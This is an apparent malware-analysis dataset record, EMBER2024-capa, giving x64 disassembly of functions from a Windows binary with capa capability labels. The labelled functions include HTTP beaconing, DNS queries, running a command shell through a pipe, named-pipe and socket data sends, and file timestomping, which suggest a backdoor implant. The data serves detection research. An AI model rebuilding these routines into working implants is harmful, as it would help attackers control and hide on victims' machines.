joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800039f4
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
and qword [rcx], 0
xor eax, eax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x180004170
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [rcx + 0x70]
mov r13, r8
mov r15, rdx
call fcn.18000411c
test eax, eax
jne 0x1800042e2
movsxd rdi, dword [rsi + 0x70]
lea rbx, [0x180048bb0]
shl rdi, 7
mov ecx, dword [rdi + rbx + 0x10]
mov r12d, dword [rdi + rbx + 0xc]
call fcn.18001aae0
mov ecx, r12d
mov r14, rax
call fcn.18001aae0
mov rbp, rax
test r14, r14
je 0x1800042d0
test rax, rax
je 0x1800042c8
mov rdx, rax
mov rcx, rsi
call qword [rdi + rbx + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea r9, [0x180048bb0]
xor r8d, r8d
cmp dword [rdi + r9 + 0x10], r8d
jbe 0x180004223
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x5c
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rdi + r9 + 0x10]
jb 0x180004207
mov rcx, rsi
call qword [rdi + r9 + 0x58]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180048bb0]
mov rdx, r14
mov rcx, rsi
mov r8d, dword [rdi + rax + 0x10]
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180048bb0]
mov r8d, r12d
mov rdx, rbp
mov rcx, rsi
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x1800042a8
lea rax, [0x180048bb0]
mov rdx, r14
mov rcx, rsi
call qword [rdi + rax + 0x68]
mov ebx, eax
test eax, eax
jne 0x1800042a8
xor ecx, ecx
test r12d, r12d
je 0x1800042a2
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x1800042a2
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x18000428b
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.18001aaa0
mov rcx, rbp
call fcn.18001aaa0
mov rcx, r14
call fcn.18001aaa0
mov eax, ebx
jmp 0x1800042e2
mov rcx, r14
call fcn.18001aaa0
test rbp, rbp
je 0x1800042dd
mov rcx, rbp
call fcn.18001aaa0
mov eax, reloc.WS2_32.dll_listen
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180004300
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, rcx
movsxd rbp, edx
mov edi, r9d
mov ecx, ebp
mov r13, r8
call fcn.18000411c
test eax, eax
jne 0x18000446d
mov rbx, rbp
lea rax, [0x180048bb0]
mov dword [rsi + 0x70], ebp
shl rbx, 7
mov r15d, dword [rbx + rax + 0xc]
test r9d, r9d
jne 0x18000435b
lea eax, [r9 + 3]
jmp 0x18000446d
mov r12d, dword [rbx + rax + 0x10]
mov ecx, r12d
call fcn.18001aae0
mov r14, rax
test rax, rax
jne 0x180004379
lea eax, [r14 + 0xd]
jmp 0x18000446d
mov rcx, r12
call fcn.18001aae0
mov qword [rsi + 0xe8], rax
test rax, rax
jne 0x180004395
lea edi, [rax + 0xd]
jmp 0x180004463
lea r12, [0x180048bb0]
mov rdx, r13
mov ecx, dword [rbx + r12 + 0x10]
cmp edi, ecx
jbe 0x1800043e6
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x30]
mov r9, rax
mov qword [rsp + 0x20], rcx
mov ecx, ebp
mov r8d, edi
call fcn.1800018bc
mov edi, eax
test eax, eax
jne 0x180004457
mov eax, dword [rbx + r12 + 0x10]
cmp r15d, eax
jae 0x18000440d
mov rcx, r15
sub eax, r15d
add rcx, qword [rsi + 0xe8]
jmp 0x180004406
mov r8, rdi
mov rcx, rax
call fcn.18001ac60
mov eax, dword [rbx + r12 + 0x10]
cmp edi, eax
jae 0x18000440d
mov rcx, qword [rsi + 0xe8]
sub eax, edi
add rcx, rdi
mov edx, eax
call fcn.1800040dc
xor r8d, r8d
cmp dword [rbx + r12 + 0x10], r8d
jbe 0x180004433
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x36
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rbx + r12 + 0x10]
jb 0x180004417
mov rcx, rsi
call qword [rbx + r12 + 0x58]
mov edi, eax
test eax, eax
jne 0x180004457
mov r8d, dword [rbx + r12 + 0x10]
mov rdx, r14
mov rcx, rsi
call qword [rbx + r12 + 0x60]
mov edi, eax
test eax, eax
je 0x180004463
mov rcx, qword [rsi + 0xe8]
call fcn.18001aaa0
mov rcx, r14
call fcn.18001aaa0
mov eax, edi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000ddec
Capabilities:
Connect to http server
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, r8
mov edi, edx
mov rsi, rcx
mov dword [rsp + 0x68], 0x3a980
call fcn.18001760c
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, 4
lea r8, [rsp + 0x68]
lea edx, [rbx + 1]
mov r9d, ebx
mov rcx, rax
mov qword [0x18003c6f0], rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003c6f0]
lea r8, [rsp + 0x68]
lea edx, [rbx + 2]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003c6f0]
mov qword [rsp + 0x38], 1
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [0x18003c6f8], rax
call fcn.180017628
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x18000deb0
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1008]
mov eax, 0x1100
call fcn.18001b4a0
sub rsp, rax
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rbp + 0xff0], rax
and qword [rsp + 0x48], 0
mov rbx, rcx
lea rax, [0x18002a6e4]
lea rcx, [rbp + 0xbf1]
xor edx, edx
mov r8d, 0x3ff
mov qword [rsp + 0x40], rax
mov byte [rbp + 0xbf0], 0
call fcn.18001b160
xor edx, edx
lea rcx, [rbp + 0xb71]
mov byte [rbp + 0xb70], 0
lea r8d, [rdx + 0x7f]
call fcn.18001b160
lea rcx, [rsp + 0x51]
xor edx, edx
mov r8d, 0xc1f
mov byte [rsp + 0x50], 0
call fcn.18001b160
mov edx, dword [0x18003c708]
test edx, edx
je 0x18000e0f7
lea rcx, [rsp + 0x50]
call fcn.180015880
mov r14d, 0x400
lea r8, [0x18002a6d4]
lea rcx, [rbp + 0x750]
mov edx, r14d
mov r9, rbx
call fcn.18001a12c
mov r9d, dword [0x18004a5c0]
lea r8, [0x18002a6e8]
lea rcx, [rbp + 0xb70]
mov edx, 0x80
call fcn.18001a12c
or rdi, 0xffffffffffffffff
lea rax, [rbp + 0xb70]
mov rbx, rdi
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000dfa9
mov ecx, reloc.WS2_32.dll_listen
call fcn.180016a94
lea r8, [rbp + 0xb70]
lea rdx, [rsp + 0x50]
mov rcx, rax
mov eax, dword [0x18003c708]
mov r9d, ebx
mov dword [rsp + 0x28], eax
mov rax, qword [0x18003c700]
mov qword [rsp + 0x20], rax
call fcn.180015128
lea rcx, [rbp + 0x350]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x18000dff3
lea r9, [rbp + 0x750]
mov rdx, r14
lea rcx, [rbp + 0xbf0]
test rax, rax
jne 0x18000e020
lea r8, [0x18002a6d4]
call fcn.18001a12c
jmp 0x18000e038
lea rax, [rbp + 0x350]
lea r8, [0x18002a6ec]
mov qword [rsp + 0x20], rax
call fcn.18001a12c
call fcn.18001760c
mov ecx, 1
call fcn.180016ac8
mov ecx, 0x1b
and al, 8
neg al
sbb ebx, ebx
and ebx, 0x803000
add ebx, 0x84680200
call fcn.180016a94
and qword [rsp + 0x38], 0
mov rcx, qword [0x18003c6f8]
mov rdx, rax
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r8, [rbp + 0xbf0]
xor r9d, r9d
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rbx, rax
call fcn.18000dd0c
lea rax, [rsp + 0x50]
inc rdi
cmp byte [rax + rdi], 0
jne 0x18000e0a7
mov eax, dword [rbp + 0xb58]
mov r9, qword [rbp + 0xb50]
lea rdx, [rsp + 0x50]
mov r8, rdi
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x18003c708]
lea rcx, [rsp + 0x50]
call fcn.180015840
and dword [0x18003c708], 0
call fcn.180017628
mov rcx, qword [rbp + 0xff0]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x1100]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000e1ec
Capabilities:
Get hostname
Resolve dns

Disassembly:
sub rsp, 0x88
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.18000e44c
lea rcx, [rsp + 0x20]
mov edx, 0x50
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000e23d
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
test rcx, rcx
je 0x18000e23d
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
jmp 0x18000e244
lea rax, str.unknown
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x88
ret

Function at 0x18000e25c
Capabilities:
Resolve dns

Disassembly:
mov edx, 1
jmp fcn.18000e268

Function at 0x18000e268
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov edi, edx
mov rsi, rcx
call fcn.18000e44c
call fcn.18000f958
xor ebx, ebx
test edi, edi
jle 0x18000e2b3
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000e2a1
cmp word [rax + 0x12], 4
je 0x18000e2c5
lea ecx, [rbx + 0x3e8]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jl 0x18000e28c
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
jmp 0x18000e2b5

Function at 0x18000e2d0
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov edi, edx
mov rbp, rcx
call fcn.18000f958
xor ebx, ebx
test edi, edi
jle 0x18000e330
and qword [rsp + 0x28], 0
lea rax, [rsp + 0x58]
mov edx, 0x1c
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x20], rax
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x18000e348
lea ecx, [rbx + 0x3e8]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, edi
jl 0x18000e2f7
or eax, 0xffffffff
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rsp + 0x58]
mov edx, 1
movups xmm0, xmmword [rcx + 0x20]
movdqu xmmword [rsi], xmm0
call sub.DNSAPI.dll_DnsFree
mov eax, reloc.WS2_32.dll_recv
jmp 0x18000e333
Function at 0x18000e368
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r15d, r9d
mov r14, r8
mov esi, edx
mov rbp, rcx
xor edi, edi
call fcn.18000f958
xor ebx, ebx
test esi, esi
jle 0x18000e3d0
and qword [rsp + 0x28], rdi
lea rax, [rsp + 0x30]
mov edx, reloc.WS2_32.dll_recv
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
mov qword [rsp + 0x20], rax
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x18000e3ec
lea ecx, [rbx + 0x3e8]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, esi
jl 0x18000e398
or eax, 0xffffffff
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
mov rcx, qword [rsp + 0x30]
xor ebp, ebp
cmp dword [rcx + 0x20], edi
jbe 0x18000e434
lea esi, [rbp + 0x28]
mov rdx, qword [rsi + rcx]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x18000e403
add edi, eax
cmp edi, r15d
jge 0x18000e442
movsxd rbx, eax
mov rcx, r14
mov r8, rbx
call fcn.18001ac60
mov rcx, qword [rsp + 0x30]
inc ebp
add r14, rbx
add rsi, 8
cmp ebp, dword [rcx + 0x20]
jb 0x18000e3fb
mov edx, 1
call sub.DNSAPI.dll_DnsFree
mov eax, edi
jmp 0x18000e3d3
mov eax, 0xfffffffe
jmp 0x18000e3d3

Function at 0x18000e44c
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
cmp dword [0x18003c70c], 1
je 0x18000e49c
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000e4b4
mov ecx, socket
mov dword [0x18003c70c], 1
call fcn.180016a60
mov dword [0x18003c710], eax
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001aa50
int3

Function at 0x18000f9e4
Capabilities:
Set current directory

Disassembly:
cmp edx, 0x3ff
jg 0x18000fa41
push rbx
sub rsp, 0x430
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001a1f0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x430
pop rbx
ret

Function at 0x18000f9ec
Capabilities:
Set current directory

Disassembly:
cmp edx, 0x3ff
jg 0x18000fa41
push rbx
sub rsp, 0x430
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001a1f0
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x430
pop rbx
ret
Function at 0x18000fe1c
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x830
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001b160
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000fe74
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.18001ac30
add rsp, 0x830
pop rbx
ret

Function at 0x18000ffac
Capabilities:
Create pipe
Get comspec environment variable
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x810]
sub rsp, 0x910
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rbp + 0x800], rax
mov rsi, rcx
movsxd rbx, edx
mov edi, 0x68
lea rcx, [rbp - 0x70]
xor edx, edx
mov r8d, edi
call fcn.18001b160
xor eax, eax
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
xor r12d, r12d
mov r9d, 0x100000
mov dword [rbp - 0x70], edi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], r12
mov dword [rsp + 0x58], 0x18
mov dword [rsp + 0x68], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x30]
lea rdx, [rbp + 0x400]
lea rcx, str.COMSPEC
mov r8d, 0x400
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x34], 0x101
mov word [rbp - 0x30], r12w
mov qword [rbp - 0x20], r12
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r15d, eax
lea r13d, [rbx + r15]
lea r14d, [r13 + 5]
cmp r14d, 0x400
ja 0x180010165
lea rcx, [rbp]
mov r8, rbx
mov rdx, rsi
call fcn.18001a1f0
cmp rbx, 0x400
jae 0x180010195
lea rdx, [rbp + 0x400]
lea rcx, [rbp]
mov r8d, r15d
mov byte [rbp + rbx], r12b
call fcn.18001a1f0
lea rcx, [rbp]
lea r8d, [rdi - 0x64]
lea rdx, [0x18002aa98]
add rcx, r15
call fcn.18001a1f0
lea rcx, [rbp + 4]
mov r8, rbx
add rcx, r15
mov rdx, rsi
call fcn.18001a1f0
lea eax, [r13 + 4]
cmp eax, 0x400
jae 0x18001018f
lea r9, [rsp + 0x38]
lea r8, [rbp - 0x70]
lea rcx, [rbp]
mov edx, r14d
mov dword [rsp + 0x28], r12d
mov byte [rbp + rax], r12b
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180010700
test eax, eax
je 0x180010165
mov rcx, qword [rsp + 0x38]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x38]
movsd xmm1, qword [rsp + 0x48]
lea rcx, [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movsd qword [rbp - 0x80], xmm1
call fcn.1800132c0
mov rcx, qword [rbp + 0x800]
xor rcx, rsp
call fcn.18001ac30
mov rbx, qword [rsp + 0x960]
add rsp, 0x910
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.18001b61c
int3
call fcn.18001b61c
int3
Function at 0x1800101e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180013ff0
lea rcx, [rsp + 0x20]
call fcn.180014000
lea rcx, [rsp + 0x20]
mov ebp, eax
call fcn.180013fc8
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.180014034
mov esi, eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], eax
call fcn.18000e44c
xor edi, edi
lea rcx, str.127.0.0.1
mov edx, ebp
call fcn.180010b50
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180010270
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jb 0x180010245
jmp 0x180010295
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov rcx, rax
lea r8d, [r9 + 8]
call sub.WS2_32.dll_send
xor r9d, r9d
mov r8d, esi
mov rdx, r14
mov rcx, rbx
call sub.WS2_32.dll_send
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x1800102cc
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x100
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov edi, edx
mov rbx, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x71]
mov r8d, edi
mov rdx, rbx
lea r14d, [rax + 0xea60]
call fcn.180013ff0
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x71]
mov r8d, 0x80
call fcn.180014098
lea rcx, [rbp - 0x71]
call fcn.180013fc8
lea rcx, [rbp - 0x71]
mov rdi, rax
call fcn.180014034
xor ebx, ebx
mov dword [rsp + 0x30], eax
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x49]
call fcn.180012ed8
test eax, eax
jne 0x18001039d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18001037f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18001037f
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x180010345
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x49]
lea rcx, str.Could_not_connect_to_pipe___s_:__d
mov r8d, eax
call fcn.18000d9a8
jmp 0x180010428
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], rsi
lea r9, [rbp - 0x79]
lea rdx, [rsp + 0x30]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1800103fc
mov ebx, 0x2000
mov rcx, qword [rsp + 0x38]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp - 0x79]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1800103fc
add esi, dword [rbp - 0x79]
mov eax, dword [rsp + 0x30]
cmp esi, eax
jb 0x1800103c9
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18001044c
Capabilities:
Timestomp file

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x790]
sub rsp, 0x890
mov rax, qword [0x18003b2e0]
xor rax, rsp
mov qword [rbp + 0x780], rax
mov rbx, rcx
mov edi, edx
lea rcx, [rbp - 0x7f]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp - 0x80], 0
call fcn.18001b160
lea rcx, [rbp + 0x381]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x380], 0
call fcn.18001b160
lea rcx, [rsp + 0x58]
mov r8d, edi
mov rdx, rbx
call fcn.180013ff0
mov ebx, 0x400
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.180014098
test eax, eax
je 0x1800105fb
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.180014098
test eax, eax
je 0x1800105fb
and qword [rsp + 0x30], 0
mov edi, 3
lea rcx, [rbp - 0x80]
lea r8d, [rdi - 2]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x2000080
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x180010549
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x80]
lea rcx, str.could_not_open__s:__d
mov r8d, eax
call fcn.18000d9a8
jmp 0x1800105fb
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x180010574
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_get_file_time:__d
jmp 0x1800105eb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 2]
lea rcx, [rbp + 0x380]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x1800105c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x380]
jmp 0x180010535
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x1800105f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_set_file_time:__d
mov edx, eax
call fcn.18000d9a8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x780]
xor rcx, rsp
call fcn.18001ac30
lea r11, [rsp + 0x890]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180010620
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001aae0
mov rdi, rax
test rax, rax
je 0x1800106eb
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.180013ff0
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.180014098
mov rcx, rdi
test eax, eax
jne 0x180010683
call fcn.18001aaa0
jmp 0x1800106eb
mov rdx, rbx
call fcn.18001bb28
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800106cf
lea rcx, [rsp + 0x20]
call fcn.180014034
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.180013fc8
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001bcc4
mov rcx, rsi
call fcn.18001b9e8
mov rcx, rdi
jmp 0x18001067c
mov rcx, rdi
call fcn.18001aaa0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.could_not_upload_file:__d
mov edx, eax
call fcn.18000d9a8
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret